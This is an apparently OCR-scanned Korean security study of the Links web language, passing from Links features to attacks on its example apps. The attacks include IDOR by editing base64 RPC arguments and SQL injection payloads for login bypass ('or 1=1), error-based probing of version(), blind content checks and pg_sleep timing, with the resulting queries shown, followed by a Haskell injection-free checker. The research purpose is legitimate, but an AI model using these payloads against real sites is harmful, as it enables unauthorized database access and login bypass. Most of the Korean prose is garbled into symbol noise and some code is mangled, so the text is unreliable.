add a definition M2 addForm &<roll &3l A= il addE =3 mana
ger 24|20 A] "o 7} £&H NewDef WA|A]7} A4H ). manager X2
Alzs ZAH U2 AW &2 newDefE &3 dlolg{Wo] ol Hol& F7tsh
5 #2& AdAEL Al definitiono] @A A} HFo YEPE WE views ¢

tl o] E gt

2.2.1. Client/Server 35

Links 22392 dutd o2 client9} serverdl A ¥ =t 7|4 server
U client 7]9=5 ok 5 9tk o] 7|9 EE F3 ZEadvs BAAHeR
A4 AAE S 5 Ath(53] o] 71 E=s AT Tt o= fF|olA AL
|H=AE HAH R gajF= ol A FAL top M o] FY

S g

X
o

Qe

fun updateDef(def) server {
update (d <-- defsTable)
where (d.id == def.id)
set (meaning=def.meaning)
}
fun editDef(def) client {
redraw(
<div class="edit-def">
<form method="POST"

l:onsubmit="{
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var def = (id=def.id, word=w, meaning=m); updateDef(def);
redraw(formatDef(def), def.id)}">
<table>
<tr><td class="label-col">Entry:</td><td>
<span class="btw">editing</span>
<input l:name="w" value="{def.word}"/></td></tr>
<tr><td class="label-col">Meaning:</td><td>
<textarea l'name="m" rows="5" cols="80">{
stringToXml(def.meaning)}</textarea></td></tr>
</table>
<button l:onclick="{deleteDef(def.id); redraw([], def.id)}"
style="float:right" type="button">Delete</button>
<button type="submit">Update</button>
<button l:onclick="{redraw(formatDef(def), def.id)}" type="button">
Cancel</button>
</form>
</div>,
def.id)

12 26 Links9] Client, Server oA

Q)9 #E= okx A3 Links 9 A ZTZa#le] 3 HR o2 client/server 7|

server 7| =7 @)l s SERo|AECdA A Tl A=A T

= 3 AHelA Adgso] HolgHolx Ao w3 mEw FAdHo] k. §
o] oA = At Hef YJulolE Fr dolEue]zo] HE ¢

th tlolgHlo]l ok vhdd A2 ofefo] dolEHle]x Hel Aol Al A
g gt

T E AT f1e] dl Aol A

=
918 4 9l5e] himl FAS Agste] TzadWE 5 Atk olF $9) F 7}
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2.2.2. glo]g o]~ LINQ(Language—-INtegrated Query)

LINQ (Lanuage-Intefrated Query):= Links oy wlo]g 2 AT E NETO
A AR TR do] o] HAlE ulolEulo]x~ H7 el SQL
o vk dojEe FUHE B3 S dojE A 4 k. diolE o]
ol A= SQLS A&kl XMLeA = XQueryE AR&ahe A3 22 oy A&

|

o] FAel met g doj= Jfdets LAlE ElolHHol s 7

-
z
O
4
AU
2
>
rlr
o
ox
)
__>f1_11‘
il
>~
>,
oo
%
>
3,
.l
>
wm
O
=
é
E
g
l>
:L
i
)

Aol A HolHE 7FA Qo Mesh=t 22 ElS ARSI [55]

Olx] A3l Links oA Z 213l Links AFA S dHlo]EHo] A~ &= dFEL
theap o] FAE o] gtk dolE o]~ dictionaryell ¥ definitions®]2}al &}
= HolEo] 3

3L, o] Hlo]Eo+= id, word, meaning 37§2] column®] &%k
t}. o] Blo] &S WS defsTabled] AAsH ofefo] =2 13T 4 Ak

var defsTable =
table "definitions" with
( id:String, word :String , meaning :String)
where id readonly from database "dictionary":

I 27 Linkso|A19] djojgjyo]A 1A
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SQL Hg oA ALgstE Holg Al E3tE EAS EAE= SELECT, 2
H}E =Z3E dolEHo]x Ho]ES WAIE= FROM, 24 988 F335t=

WHERE A 37}A| & Links @202 W 43t A8 HolFEr)

Ejio] 2~ EfolHE AREel] Adw dlolEfwo] s QIa® el dAstHY tha
I 22 m@AE AREEoF gtk =efol¥e] wel parameter_stringS %ol s}

AAT AWHOR FXE olF, XE, Ag4 olF U 9Est £¥E BAGE

database <database_name> <driver_name> <parameter_string>

mysql
var db = database “dictionary” “mysqgl” “:3306:web”;
dictionary CJo|E{H|o]A, ZE 33063 ARE5l fojEHojAo] HZAS O

23 28 Links®] HloJE{Ho]A A oA

Hol&2 [ 2918 #Zo] Hels d&e Tl HolEs AREIH. HeolsE

=2 Hols olF, 79, das, HolgHolx dde] Bash S AHE-3)

FR

etk M4 the HolE IME ((d : Int, word : String, meaning : String),
(id : Int, word : String, meaning : String), (id : Int, word : String, meaning
: String)) F8& Zeth o Al Y A= o] F Y A 1S A A

[e)
o
gtk 27 97] Jbse ge, 2] Jbsd 9s, 9e

o
-

] 5} 217} 9l 2 5} st =5 MY R YE
Uit o] I=52 gHolE a2 oA where Aol 7Y ==2 F71sE = )
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table <table_name> with <row_type> from <database_connection>;

var tb = table "definition" with (id : Int, word : String, meaning : Strin
g) from db;

2 29 Linkso|A]Q] Elo]E AL& oA

glo] &9 &S wmEsAY F& Ao HE for & AFEST Linkse]
ol WEL listhe ttEEE U5 22 JHE HolE dES AHEEH o
< comprehension< id7} 18] Ho]| &9 &S A&}, for wollA AFgE 3}
AR <-- F LEXROSE list7h ofd HolE dES &gttt Bgk wlEQle] &
A SQL A el &l daEofjof & At ko] AR Ay uf o

olefHo] & AJAE) 2 QY AE ALGE] o] & FIT

o
ol

var defsTable = table "definition"
with (id : Int, word : String, meaning : String) from d
b;
for (t <-- tb)
where (t.id == 1)
[x]

T3 30 Linkso|A2] AFR oA

oM FE3Hh o= e £ SQL AYE Ay dHn

B 3 SQL #+=3 Links9] #H2] v]nl

for (t <-- tb) select t.word as word
where (t.id <= 20) from tb as t
[(word = t.word)] where t.id <= 20
Links®] 2] SQL w2 He
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Linksoll A= dolEfHlo] 2~ A S 7] o= AT 4 dvk 53] list co
mprehensionS E3] /9= dolEWo] A~ AES 98 9% APIZ} o} “nat
ive” operations AH8-3Ft}. Links @A l= dlelEHlo] 2~ AEF HolE AE

= Hehlls @840l ded HelE dE2 list® A5 Wy o] 1 &3t H

2 AN2ES FE B 2d4S H7HE AR, @4 o] Al dlolE o]
E ¥xebA @eud o= aaH Rl Wol ofyth FE o] HolEH ol
ol£el oEdhz A5 HolEHlola A|AFleM FATE Adof sl o] E
Al F7k= dHolE Mol 7ol HolE 7} Links At o= whhy= P2 A
AEA geth o]F Aoty 98 Linkse SHl=& A= AP o 2183}
#A4 F4 query {..}JE AT o5 Tl M= G Fo] dF
dolefrlo] 2 Alxglol A Aol s A= AS Welsts A=
Ag g QU ol FA FAE wlolEMol A A= A AFA SQLE g 7t
B

LRy

pa
o

olr

®

fun completions(s) server {
if (s ==")1]
else {
query [10] {
for (def <-- defsTable)
where (def.word =~ /*{s}.x/)
orderby (def.word)
[def]

5 31 LinksofA{ o] HloJEjHo]A H2] ARG oA
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dF 5°l, /WEA7} Links £d4& AH83] F HolE5 join st & wf L

FEACNA dlolEHolx AlE AT & Y= A5 Ao F
o5& ¢Hd3d] ¢lo] naive YA FOE join AAE FAT F= YA o] j
oin F&Ao] & FHo= AMHTY Links= o] B H|o] 2ol
g Fart gtk o] H{7FE Links7t A 4 gl 49 (&
w3k A e ) Hapdel Aufjs) LA wo]E o] s Al w7}

e ARG 5 ok

g
b
i)

o] o Ael e word HOlES AHEE] o5 EW ofdlY [ 4]
o] ¥ S 2 SQL To= AyAdHAT). word, type, definition Al ro
wZ 72 H"Ho]E oA for, where, oderBy$} #& Links T+XAE AF&3te]
gE 2T vl Links ALl & &3 243 SQL w252 Wit} [53]

® 4 Links©] SQL & #gt 18

SELECT def.meaning AS meaning,
for (var def <-- defsTable)
def.word AS word
where (def.word ~/s.*/) orderBy o
FROM definitions AS def
(def.word) . ,
(def] WHERE def.word LIKE ‘{s}%
© ORDER BY def.word ASC
Links?] E&A] gigtsl SQL ++&

ok Al % defsTable2 definition H|o]E¥ AZE HolE IEZ list

A 4 3l Links 9919 =

o list7F obd HolE dES Wolsdn. o714 AREAZE 43 ©ole] pre

delxg s xad M o E3HE FxdE A En. RE AAS LIKE o
2R ALg o2 WMEE = glo] HERI Hg W3 A7) 7bsshr] = sk
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2.2.3. XML

Links® xml B19<S A8 223817 98 50 235 o] gtk xml dlo]
He 239 3=2 Jehlr] 98 quasiquotesES AFE3] Uk xml T7|HOE
g ), ol#dt 7| M2 XQuery F7IHI AR fFAFSE o] EA) gt
ml 4-&7& Links F=o] oy 7]e] &olatth. 7 A7)+ < H ol
ZHHE BT o] Fo] W xml 7T A4S AlAETE 3 < HlaL AAAEE
AbgE u Holl g¢fof it} legal xmle ElIIE A

=t LinkselAe xml Eglo] F8 HA &2 HFo|L hedgeE #4317

3t <#>. . </H#> TES A Y3t} o] 3 hedgeol = xm F8°| 3L single tr

Jim
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W
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1o,
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eedl = xmlvalue 3] AT}
Links xml quasiquote Z@A& &vlE @29 xml¥ A gt} Links7h B

ZshA] v xml A9 FEAS 27 e

ZlmbE of® xml Bj27F ol ZF el oWl £45 7HE A=A A

XHTMLolgtar &= HTML® XML Wdol= iL#3 27|07k Q1L Links 2

AR D ¢ e &
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=
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X
o
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&3 XHTML EA4E A=
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R8s
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SEoldEE BAITE dA FAE YEE xml EYE FASt #E s
ol#1dl a3 Eg]E DOM(Document Object Model)o]&}ar
H 29SS 7|Wko 2 Links®E DOMol| H

Linkst xml 22& 913 714 #3¢ #1980l DomNodet W74 7V
Ef EFo|t}. getValue primitiveE AM&
A A4S FAZ MBS+ drh ol primitivets =0 PIE F = A

A FAFLS o] Tl xml tree H5 02 wkslalit
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I 5 Linksol 9] XMLu} Ald| Ho]x] AA F T v

fun redraw(xml, defld) {
domReplaceChildren(xml, getNodeByld("def:" ** defld))
}
mutual{
fun editDef(def) client {
redraw(
<div class="edit-def">
<form method="POST"
l:onsubmit="{
var def = (id=def.id, word=w, meaning=m): updateDef(def):
redraw(formatDef(def), def.id)}">
<table>
<tr><td class="label-col">Entry:</td><td>
<span class="btw">editing</span>
<input l:name="w" value="{def.word}"/></td></tr>
<tr><td class="label-col">Meaning:</td><td>
<textarea l:name="m" rows="5" cols="80">{
stringToXml(def.meaning)}</textarea></td></tr>
</table>
<button l:onclick="{deleteDef(def.id); redraw([], def.id)}"
style="float:right" type="button">Delete</button>
<button type="submit">Update</button>
<button l:onclick="{redraw(formatDef(def), def.id)}" type="button">
Cancel</button>
</form>
</div>,
def.id)
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¥idiv class="edit-def">
¥ <form method="POST" key=" key3g":»
¥ <tables
¥itrs
<td class="label-col">Entry:</td>
¥itd»
<span class="btw"»editing</span>
<input value="desked" name="lname gl47"
id="_lnameid__glds">»
</td>
<ftrs
¥<tr>
<td class="label-col">Meaning:</td>
¥ <td>
<textarea rows="5" name="lname_ gld49" id=

" lnameid gl48" cols="88">of Desk
</textarear

<ftd>
S
</table>
<button type="button" style="float:right" key=
" key39":xDelete< /button>
<button type="submit">Update</button>

<button type="button" key="_key48"> Cancel
< /button:
</form>
</divy

[¥ 5] Links oAl TzZaae] mzo|x ol sy Z=rt Ad= 9 3

o]#x] Ao|t}, Links oA TR 3= = editDef 34E AMA Y A= 4

g3 9%e

b= el client 719 =7 e o] ZEw o4 ARG wb
¢} o] XML F-i#& AAdste == FA ] e o =s gelsnd
inks oAl TR A S 17t AA HTML B2 9x3s gheld
At ZE Yo AbgH div B9t 2 F=EES AA HTML A8 3= A

a9 2 g1gk 4= Q) ElE § Qe B2 #A BASE Sk



[3 6] Links®] xml #e]B ] F=olt}. Linkse| WA gholB el & &

AgS 5 gk

® 6 Links®] xml 2to]Ea]a]

stringToXml (String) ~> Xml
intToXml (Int) ~> Xml
floatToXml (Float) -> Xml
stringTolnt (String) -> Int
intToFloat (Int) -> Float
intToString (Int) -> String
floatToString (Float) -> String

FolAl XML x=E9] B o]§Z ZAIE= vyt
5}

XML HAE =E7F ROjR|H xml B AES &
A= St

getAttributes(xml) A= XML Zfah e SA 22 uls

ZojRl XML ol &7do] #oiX QoW true
S Yietoly ofYd false ¥het

Y XML g9 Zolal 5492 SAE=

getTagName(xml)

getTextContent(xml)

hasAttribute(xml,attrName)

getAttribute(xml,attrName)

ot X

getChildNodes(xml) o] XML *=E9] child xE F= 43}

2o golB gl & A9t Links o] ulolAl xml gtoll HLskAW 4 3)
= wo] Al A FE=th o714 stringToXml gholB 88 #A<E stringS
xml=Z v gho] B g glolt},

2.2.4. Static Type—-Checking

UM 2%l A Links 1oj7F Bepe-A, AH, #d= A ASS 5 Eiske
HolE AeFoam s ELdAE AN ojop7| ). B ool A
A8 = JavaScript, HloJEHo] 2o A HaPH= SQL & & Links 1o 42
i client, server Z12]3l Database Z}72] 54 9bA 28w o] AT, o]

o] #& ¢l 3714 olojz WIPYS iz

Y

AN

=gt T2 Z2AA

mlm

%3l type-checkingdlal, 7]& A4S 93k FF syntaxE AT} ol &

Z3 syntaxoll A £ A2l heterogeneity’} £=xjstttal et ou| &
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Iyl

Hoge= dyds BEUX7F 7HATS 5=3kth. o 7] A heterogeneity (o] 2 A)S
H7F g2 Holxut Ao oulE AR At ouE 7t
== olth. whebA, Zb syntax erea’t dlF E=HIS1¢] 7]E doje} oA

FAAE et ARE =4 w.

Links oAlE FRJAs|HEH typeo] WAHLoRE AFsle S 37 oJHn. o
= type FE0o] FEA O F type annotatione EF Q1A A dte] HEZ O

2 FHE Aok 40 Q7] wiEelth. O % BRE dAl= HAAHS=Z type-chec
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o] type-checking XML &2Jo% #g%=4d], Links o] 24E 329l
A E 3elsty] wio] XML &2 21A] String FA QRS &elsjsFo]of gt} o]

uf, okx oF3 xml libraryE AFEE types W3E 4 i)

i

2.3. 7]
gAZ 2oy 91olel Linkse] 54< @gsd Zuadus A= 1+ 4
5 Aes o 44 BEstel Trad P4 A dojd £ glE SRE 2 4

Al Ak a8y dA7MA] Bl I A OWASP TOP 10 8 F kgl dist
G717 o] FolR ZHo] Qlo] o]Z A2 Felei¥ i}t Links 719k ¢ T2

3. Links 7|¥F AT € T2 FHopy £
B Ao A= Links 7]Hke] ¢ =2 g@e A OWASP Top 109 F& FH kA
] &4 Al=g W& 1 Ao s Ao,

ol

3.1. IDOR (Insecure Direct Object Reference)

bdskA @2 A AA Fxe TAAVE 23 wAIA e URLeY w7 W<
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A
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o,

burp proxy 71%& ©]-&38] Links Abd T2 dolg A% 34 F9l
39 Links T=22 A3 374 E3tujo] ZaoldERr AEH= A
°|]F (name), L 59 A} (args), T 59 &4 (env), °] FFE =3
FHoldE ZaAxo AR (clientlid)e] #E°] =FHTh o] & BurpE
3l AE S UATL Aol WA ghs Al dEd 4 9lo] IDOR FH kA
o] WAL ofgfe] 1H I ol args Q1A &S ‘available’el A ‘baseball
2 WAst= Aol 7He ik

e
5

B 7 args Q1A ¥ A

name=MjQyMw== 2423
args=e+KAnDHig]0640CdYXZhaWxhYmxl4oCdfQ== {*17:"available”}
env=e30= {}
client_id=Y2lkXzlw cid_20
Base64 PAloz Q13iY H QA= g3d 2}

name=MjQyMw== 2423
args=e+KAnDHig]0640CdYmFzZWJhbGzig]19 {*1":"baseball’}
env=e30= {
client_id=Y2lkXzlw cid_20
Base64 FAlo= Qi = QA= 039 Ay}

Dictionary suggest

|a~.railal:||[e |
baseball n.: The ball used in this game.
baseball n: A game of ball, so called from
make after striking the ball.

9 32 IDOR oM &4 2t

_45_



T A 9ol T o] JAF wolel T ANE AL 5 A o=

%3 IDOR A4S o &8 §70] b5 HaAstgrh. AR AN e 1

m

olglgt IDOR FH kol st AE Links 1o NEAEANA dEst Het
WS Alotsldar, 1 A3 Links7F WA 0.9.60914 SSL LR2EFS A d}7]
A&k th. SSL (Secure Sockets Layer) Z2EFS a3t 7|vhe] QIEYl B
o ZREZE A HAFH= HelHE dEstete] dAFetar, F TAEA AL

ofel Al M=AolAts Q5 ZRAEE ARES HoHE B

7]1¥ Links oAl Z232 HTTP F41v A dstolon SSL Z2eF ¢
S S8 HTTPS 418 AYshA HAUATE SSL ZE2EF O] AME-S S A=
Heobg Astel] o] HeEA szt gk SSLo F8 Vs F stue
vt A7t Falshs ) AW IDE AFshE Aolth o] TS Fdl f Ao

Ej]— t’ﬂ-lﬂéﬂtﬂ $J1 A]_ ]

!

21 Aol Linksoll A SSLE& A3ty o] Fo{x|= HTTPS 12 A dia] 3t
}
AZEXE AEs} ojw AFAE we g BgSAE o] QAEAI AlFE

a]:

=

F oo AFAAA AFI] e AT £ e FE AF/@ oY
& =

& BE-A7E ol aqrskar 9l
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TsEitiE AL o] QAZEAI} QE7|we] ulEAY] Wi <t atE
off AMujelA A&

o]
a1, o] HFMZI7F dE 57T T US| T Y] uwlF

g JASAM7E 171l ofs TEHAT= AS ov e

=, AET APlETE A7l o AEHAEE ovlstal o= &g A
25 AFgE F dvs AE gugt o] RS d=4ola AHolda )

o

| F=dolm3Ao] vt HolHE d&shs @AZF Al 2te

= o)t}
= 2.163265782 .8.8.1 B.8.1 672 POST /examples/dig
i 353 2.163291959 127.8.8.1 127.8.8.1 TCP 66 8080 — 60916 [ACK]
! 354 2.165881181 127.8.68.1 127.8.8.1 TCP 320 38250 — 5432 [PSH,
355 2.165908816 127.8.8.1 127.8.8.1 TCP 66 5432 — 38250 [ACK]
356 2.168470327 127.60.6.1 127.0.0.1 uppP 1082 39972 — 39972 Len=
357 2.1685685432 127.8.8.1 127.8.8.1 uppP 18@2 39972 - 39972 Len—
Connection: keep-alive\r\n
Referer: http://localhost:8080/examples/dictionary/dictSuggest.links\ri\n
Sec-Fetch-Dest: empty\rin
Sec-Fetch-Mede: corsi\rin

Sec-Fetch-5ite:

same-origini\rin

Nri\n
[Full request URI: http://localhost:8080/examples/dictionary/dictSuggest.links]
[HTTP request 2/2]
Prev reguest in frame: 1]
Response in frame: 365]

File Data: 67 bytes
~ HTML Form URL Encoded:

application/x-www-form-urlencoded

v+ Form item: "__name" = "NTMZNg=="

» Form item: "__args" = "eyIxIjoiYsJ9"
¢+ Form item: "__env" = "e30="

v Form item: "_ client_id" = "y21lkXzI="

= 33 HTTP 41 17l

[1¥ 33]

Pom A% Qo

HTTP §21& wireshark®

22 I e AdAss

shelg U golth, HTTP E4le] %
o1t}

AR N ST 5
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e
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w0
=
S
77
il
do
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=
ofo
o
o

Ho] %
F A% Ulg Sl olEfgen ugtyoel AuEe ¥ & Yn

65549 8080 — 60920 5eq=1912914 Ack=564 Win=512 Len=6|

.280114317 .0.8.1 .0.0.1

106 0.280134398 127.0.8.1 127.8.8.1 TCP 55549 8088 —~ 60928 [ACK] Seq=1978397 Ack=564 Win=512 Len=6

167 09.280139353 127.0.8.1 127.0.0.1 TCP 15565 8080 — 60920 [PSH, ACK] Seq=2043880 Ack=564 Win=512

108 0.280366996 127.0.8:1 127.8.8.1 TCP 66 60920 —~ 8088 [ACK] Seq=564 Ack=2859379 Win=19570 Len

! 109 9.316419358 127.0.8.1 127.€.0.1 TCP 589 60922 — 80808 [PSH, ACK] Seg=1 Ack=1 Win=512 Len=443
‘: 118 A 1RA214601 1497 o a1 197 A QA1

Tro AR BAAA . RADYD FAFK] Can—1 Ack—AAA LIin—EAO | an—fA TCual
b

Checksum: @xfdf4 [unverified]
[Checksum Status: Unverified]
Urgent pointer: @
» Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
» [SEQ/ACK analysis]
v [Timestamps]
TCP payload (65483 bytes)
~ Hypertext Transfer Protocol
- JUUGBLGE\ 03006 : Biwms\D32\005H16X\0016x030HE\00166/ B, Bz ; B=0RG1 | G&"B<0} B\ FRV/\037HEB1%0\ t 7\002vEel 76/ B0poahr
~ [Expert Info (Warning/Protocol): Illegal characters found in header name]
[Illegal characters found in header name]
[Severity level: Warning]
[Group: Protocol]
File Data: 65387 bytes
+ Data (65387 bytes)

73 34 HTTPS £A1 7l

Links 21E}9] A2gle] ]3] FepolQl=st Mu] gk B4 moke F8s7] o)
o AWA7} Links 2okl Q= An g4 2209 4% o) DOR o
e 98 593 ned @ AL gk

3.2. SQL Injection

°]7]4= SQL injection 7= E3l &45 A= Al dis) 7|53

3.2.1. SQL Injection F+Z2A
Hlol% o4 id7h x9l BE ghg wass SQL Eol 3 W o SAL EL

ofgle] [7 361o14 9%} g2 E Fxoluh

[ SELECT * FROM t WHERE id = ~ ~ + X |
1 35 SQL #2327 SQL & oA

- 4&3 -



I3 36 SQL 7274 Ed] oA

Yy A Xol oFge] [ 37]13 #o] SQL Injection &4 o
Aoy SQL el B s obee] ady o] wig X nu Adele] Azt
A B Fxe] Wk doju €

o] Ak

M
inss

X=""orl=1"°

“ SELECT * FROM t WHERE id = "or 1 = 1~
I 37 SQL 27240l 71X SQL & oA
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A A

I 38 SQL 27240 7j&x Eg] oA]

(28 38]9 @82 a9y} o] W4 Xo| ARy A9 Ee Fx7t WH
HogM B SQL T 9netE thEA SQL 79 9wt WA o]
Z E8 dld SQL ol SQL Injection &Zo] o]FojxSS eld 4= 9t}
o] A& =3 Links T2 SQL Injection 3739 oF= il

3.2.2. SQL Injection =74 ¥4 A

o] HolM thS oAl Z2aWs o2 SQL Injection o2& A3 U
3 2 Aol dal] &k (29 3919 ZEase O 23 A&
dA Z2a:I FASE dictionary TR light Ao R to]lE ¢eslH
T AYE RolEt o] Mo R 2ZE Aol I3 Bypass SQL Injectio

n 545 A3 tbE SQL Injection &2 A thaf] A3},

fun format(words) {
for (w <- words)
<span>
<b>{stringToXml(w.word)}</b>
<i>{stringToXml(w.type)}</i>:
{stringToXml(w.meaning)}
<br/>
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</span>
}
fun completions(pre) server {
var wordlist = table "wordlist" with (
word : String,
type : String,
meaning : String
) from (database "dictionary");
if (pre == ") []
else {
query {
for (w <-- wordlist)
where (w.word == pre)
[w]
}
}
}
fun suggest(pre) client {
domReplaceChildren(
format(completions(pre)),
getNodeByld("suggestions")
)
}
fun main() {
var myhandler = spawnClient {
fun receiver() {
receive { case Suggest(pre) -> suggest(pre); receiver() }
}
receiver()
b
page
<htmlI>
<head>

<title>Dictionary suggest</title>

_5‘|_




</head>
<body>
<h1>Dictionary suggest</h1>
<form l:onkeyup="{myhandler!Suggest(pre)}">
<input type="text" l:'name="pre"
autocomplete="off"/>
</form>
<div id="suggestions"/>
</body>
</html>

Jmain()

2 39 SQL Injection 524 oJA] =2 7K

3

3.2.2.1. Bypass SQL Injection

Bypass SQL Injection &2-& Z¢ly} 748 o= Ao 34 FHo] &
A%RE vEs FJYE AYste] 2= gleo] <
st o] Folx]= Aot o]F S 219l HAo] EAlske [L9E 4019 =

23l s4S APt

ol

fun sign_in(order_id, username, password) {
var cust_id =
for (u <-- usersTable)
where (u.user_name == username &&

u.password == password)
[(1=u.cust_id)];

if (cust_id == [])
errorPage("Incorrect username/password combination")
else {
var cust_id = hd(cust_id).1;
if (order_id <> -1)
claimCart(order_id, cust_id)
else ():
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search_results(cust_id, order_id, 1, 1, 0)

fun sign_in_form(order_id) {

page
<html> {htmlHead()}

<h1>Log In</hl1>
<form l:action="{sign_in(order_id, username, password)}">
<p class="instructions">Enter your username and password her

e</p>
<table class="data-entry">
<tr><td class="label™>
Username:</td><td>  <input type="text" l:name="username"
/>
</td></tr>
<tr><td class="label™>
Password:</td><td> <input type="password" l:name="passw
ord" />
</td></tr>
<tr><td>
</td> <td> <input type="submit" value="Sign in"
/>
</td></tr>
</table>
</form>
</html>
}
72 40 Bypass SQL Injection &2 oJA] T & 71:H
ofgfjo] = wo] Pl AAY Agho] Fo] Hi= AAE OR AibAE
4 75 AFslE W Links

g3 FH o] vl&Ee] bypass SQL injection

zeawe] fu7 ;s
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# 9 Bypass SQL Injection 32 Zat

‘orl=1

RER:

Generated query: select (t10626."cust_id") as "1"

from "users" as t10626

where ((t10626."user_name") = (""" or 1=1")) and ((t10626."password") = ('
1234"))

Running query:

select (t10626."cust_id") as "1"

from "users" as t10626

where ((t10626."user_name") = (""" or 1=1")) and ((t10626."password") = ('
1234"))

db#exec time: 9488

O Ay ZAeme T () stringlE Hkol5o] A gd] FAgEozA] E2HsHA
1=

=5 ko] SQL injectin 3]8-& ¥H Ao WolgolA] &=

SQL
SELECT FROM WHERE
cust_id users AND

user_ foo password foo' or 1=1
ame

72 41 bypass-tree

3.2.2.2. Error-Based SQL Injection

(25 39]¢] oA 2] dojewe] et fdd o2 wAX7F Ye=A
gelst7] f8l burps Fl MW= dolHE dEd o
delgHlol =] W Belshs AZlE Adsiioy [ 1013 Zo] dHolH
ojzok dHH ol wWAXZE FHE A ol HolEuo] e thEt HEI} =



H 10 Error-Based SQL Injection &7 ZAx}

‘cast(,cast(chr(126)||version()||chr(126) as int)--

gk

F?l:':'“_-_:i}| NS e
Raw Hex Render

1 HTTP/1.1 500 Internal Server Error
Z content-length: 28

4 Error: Internal Server Error

Response

3.2.2.3. Union-Based SQL Injection
ok 2% % SQL Injectionel] #3+ A™o A Union-Based SQL Injection &
AL A3Yst7] A= Error-Based SQL injection 543 AA AH 74
¢} doly &2 sotgt ¥ &gt &gl =1 Links oA T2 A = E
rror-Based SQL Injection®] ©]Fo]A|#] ¢ro} Union-Based SQL Injection &
Z o] o] Fo| XA F=T}.
3.2.2.4. Content—-Based Blind SQL Injection
[3£ 11]=> content-based blind SQL injection &4 &7

A& & Links Z2139] g7 m=o|t},

il
RS
J%

N
=2

0,
)
%

H 11 Content-Based Blind SQL Injection &2 ZAx}

o
' and |%|=|

olaizk
Generated query: select (t9581."me121r_1‘i:1&g") as "meaning",(t9581."type") as
"type",(t9581."word") as "word"
from "wordlist" as t9581
where (t9581."word") = (""" and "%''="")
Running query:

select (t9581."meaning") as "meaning",(t9581."type") as "type",(t9581."word
u) as "WOFd"
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from "wordlist" as t9581
Wher‘e (t9581."wordn) - (Ill and ||%||:|||)
db#texec time: 679

o]

£

7 A

b

o
Y
2

b

Ol

o] ¥+= A3}
SQLE-o. 2 A e ¥ A gttt

rlr
il

oly
=

3 1 Ay ggzto] stringC® Ay o

3.2.2.5. Time-Based Bilnd SQL Injection

¥ 12]+ time-based blind SQL injection #2 &7+5 Z<%3F Links X &
age] A s=elth pgsleep 5 S3 At AAHE =T A7 sle
epH =5 SIQITE pg_sleep ¥ postgresalol Al ARgsh= gE g H ol

Qeshs AR AR AL AAAT

of

# 12 Time-Based SQL Injection 524 ZAut

"or 1 and pg_sleep(3)#

oladz}h
Y 18

Generated query: select (t9673."meaning") as "meaning",(t9673."type") as
"type",(t9673."word") as "word"

from "wordlist" as t9673

where (t9673."word") = (""" or 1 and pg_sleep(3)#')

Running query:

select (t9673."meaning") as "meaning",(t9673."type") as "type",(t9673."word
") as "word"

from "wordlist" as t9673

where (t9673."word") = (""" or 1 and pg_sleep(3)#')

db#exec time: 677

e st

o
N
B
T
fu
ol
)
S
-
il

g gol Folw 3% F SHAES A7
c

olx& o 7}A] SQL Injection 324 A% A} Links o7} 22 wpb5310)
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o} 2 EF5EAE AT v TALEZ AP st SQL injection ¥4 9] olelt]
2 ddnx oz wolg oz SQL Injection &Zo] AA|Z o]Fo]HE u o]

2§ Qloje] 544 FAL Yolatr] Solde oo

3.2.3. SQL injection H=
Links 17} ztagle 5422 <18 SQL Injectiono] gleoldts 42S A
S38t7] 918 st HAE RS Adsisith 3 olQl Haskell® 234
Quickcheck ZFolH# = HAE HolEHE Eo 7 AAFE HrHS ‘
o] @olH gl Haskellz Ao¥ Elgel tiste] 9= & B @&
AAsHE 9 Ao WS Al F3t. =, Fo% Haskell EFY S tislo] &}
A

tive type), =(Bool) B} ¥ £ AEA E]] (sum type), & ©|%

TAE 73 689 (product type)o.E AolEtt Quickcheck #olB gl & &

SQL InjectionelA] dojy+= #}AHLS 2dd dlo] dojd = &= BE JHgk
=

o W&l SQL Injection®] o] FH =X thate] WA HAEES &) el

3.2.3.1. SQL 24

SQL Injection®] $1&(SQL Injection—free)E Hol7]H3st dlo|g o]~ Z =&
aH defe] SQL 53& mEw el SQL 1AMe] glte A 2rad
of YJehd B SQL Adl tigte] L Ao YERd B varg oW EAE str®
S W, 2 SQLA el 27 vkl SQL AdlM = o s FAZE HS o
Eig=g
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Wolsh: JAS 2F3 YL Holtk o] WA o] F

SQL & #¥sk= W2 (28 42]9F Zo] o] Fof

-- Petite SQL

data SQL =

SQL Cols Tbl (Maybe Pred)
deriving (Eq,Show)

data Cols =
Star -— %
| Cols [String] -- column names

deriving (Eq,Show)
type Thl = String

data Pred =
Or Pred Pred
| Term Term
deriving (Eq,Show)

data Term =
Eq Value Value -- col = x
deriving (Eq,Show)

data Value =
ColName String
| StrVal String
| IntVal Int
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| Var String

deriving (Eq,Show)

T2 42 Petite SQL
B} SQLE dHlolg AX~EZE (Data Contructor) SQL= SQIL, Cols, Thl L

23 Pred U2 a7z} dolE gl Aaelth o714 saLe o
U}E}’ sl o]%—?_ SQL < E]-O]O]Z] Eﬂ ]H dEiO]X TRE 2= 9\)\7] }

Olr

SQL oA A}&53= SELECT, FROM, WHERE +#& md#sl= 34<S
A SELECT column & Cols Bt} 2.2, FROM table & Thl E}¢}o 2 el
A}t gHolE9 columne *(FFZ=2 EE column)e] A4 column °]EE°]
2~Eo]7] wFo| Colst Star o] A Colse x4 g A~ER T3 of 7| A

LU e PRER o dasl] f9e 4T HolEE @ed] Ho

s

A9 gl LA FAD Value: U F ol M 4L welw 24

&9l CloName, StrVal, A<4<¢l IntVal, A€l Var® TFA% o=, SQL
ETIACTy

AlE T8l AHE ako] dlolE Mol Rl EAH=A 1 o ARg-3h=
EE #S 14

3.2.3.2. SQL Injection FAAl] #A3+ A9

glsk7] 918 injFree ¥+ F 719 SQL A& o} SQL Injection©]
dojyd False, doJUbH] &4t Trued WHEHSHTE SQL ol A Z27itel 3
get= WHERE doll yebp= Wspol] ARRAIY 3427 oW d ghs d st
g 919 gojel tigk A o] W el ol E|wk WA o] ¥l
Aele] A9 Eg w==o] Fxole WAl dojuA &gaS Sl SQL Injection

o]

il

=
4 oo

injFree (SQL colsl tbll maybePredl) (SQL cols? tbl2 maybePred?) =
colsl==cols?2 && tbll==tbl2 && injFreeMaybePred maybePredl maybeP
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red?

injFreeMaybePred Nothing Nothing = True
injFreeMaybePred (Just predl) (Just pred2) = injFreePred predl pred?2
injFreeMaybePred _ _ = False

injFreePred (Term terml) (Term term?2) = injFreeTerm terml term?2
injFreePred (Or predll predl12) (Or pred21 pred22) =

injFreePred predll pred21 && injFreePred predl2 pred22
injFreePred _ _ = False

